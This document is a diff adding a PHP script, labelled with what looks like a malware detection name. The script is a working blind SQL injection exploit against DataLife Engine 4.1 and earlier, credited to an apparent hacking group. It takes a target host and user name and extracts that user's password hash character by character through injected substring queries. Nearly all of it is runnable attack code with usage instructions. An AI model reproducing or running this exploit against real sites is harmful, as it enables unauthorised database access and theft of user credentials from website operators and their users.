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PHP/Exploit.PHP.Inject.e

@@ -0,0 +1,98 @@
+<?php
+error_reporting (E_ERROR);
+ini_set("max_execution_time",0);
+
+echo '
++========================================+
+| RST/GHC Datalife SQL injection exploit |
++========================================+
+<    >  Lite Version for DLE <=4.1  <    >
+';
+
+if ($argc < 2 ){
+print " Usage: " . $argv[0] . " <host> <user> [table prefix]\n";
+print " ex.: " . $argv[0] . " datalife.engine.net admin\n";
+credits();
+exit;
+}
+
+//DEFINE USER ID
+$urla = 'http://' . $argv[1] . '/index.php?subaction=userinfo&user=' . $argv[2];
+$result = file_get_contents($urla);
+$str1 = 'user='; #index.php?do=pm&doaction=newpm&user=
+$position = strpos($result, $str1);
+
+if ($position === false){ print "\n\rSorry, no match found for user " . $argv[2]; credits();}
+$str2 = '">';
+$pos = strpos($result, $str2, $position);
+$pos1 = $position+5;
+$user_id = intval(substr($result, $pos1, $pos-$pos1));
+
+print "Trying to get hash for password of user ". $argv[2] ." with id=" . $user_id . ":\n";
+
+//SOME defines (aka CONFIG =))
+if (empty($argv[3])){ $prefix = 'dle_';} #define prefix of the tables. try to find it yourself =) it is easy =)
+else {$prefix = $argv[3];}
+$min = 48;  # 0
+$max = 122; # z
+if (check(">$min", 1) == 0 && check("<$max", 1) == 0) {print "\n Site is unvulnerable..."; credits();}
+for ($sn=1; $sn <= 32; $sn++) {
+   blind($sn, $min, $max);
+}
+credits();
+
+
+// REQUEST function
+function check($crcheck, $sn)
+{
+   global $argv, $user_id, $prefix;
+$host   = 'http://' . $argv[1] . '/index.php'; # argv[1] - host
+$name = $argv[2]; #user name
+$query  = '?subaction=userinfo&user=' . $name .'%2527%20and%20ascii(substring((SELECT%20password%20FROM%20' . $prefix. 'users%20WHERE%20user_id='. $user_id .'),' . $sn . ',1))' .$crcheck . '/*'; #
+
+$http = $host . $query;
+#DEBUG
+#print $http . "\n";
+ $result = file_get_contents($http);
+ 
+ // checking the answer
+ $string = ': '.$name.'</h2>'; #CORRECT it FOR your version, kids =)
+#good idea is: 'do=pm&doaction=newpm&user='.$user_id;
+ 
+   if (eregi($string, $result)) { return 1; }
+
+ return 0;
+}
+
+//range function
+function blind($sn, $fmin, $fmax)
+{
+ if (($fmax-$fmin)<5) { if (crack($fmin, $fmax, $sn) == 0){print "\n\rEXPLOIT FAILED..."; credits();} return;}
+ $compare = intval($fmin + ($fmax-$fmin)/2);
+ $crcheck = ">". $compare;
+ if ( check($crcheck, $sn) == 1 ) {
+    blind($sn, $compare, $fmax);
+    }
+ else {
+    blind($sn, $fmin, $compare+1); }
+}
+
+//brute function
+function crack($cmin, $cmax, $sn)
+{
+ for ($i=$cmin; $i <=$cmax; $i++){
+   $crcheck = "=$i";
+   if (check($crcheck, $sn) == 1){print chr($i); return 1;}
+ }
+return 0;
+}
+
+
+function credits(){
+print "\n\n+========================================+\n\r Credits: 1dt.w0lf & foster \n\r Copyright (c) RST/GHC";
+print "\n\r http://rst.void.ru && http://ghc.ru\n\r+========================================+\n";
+exit;
+}
+
+?>
+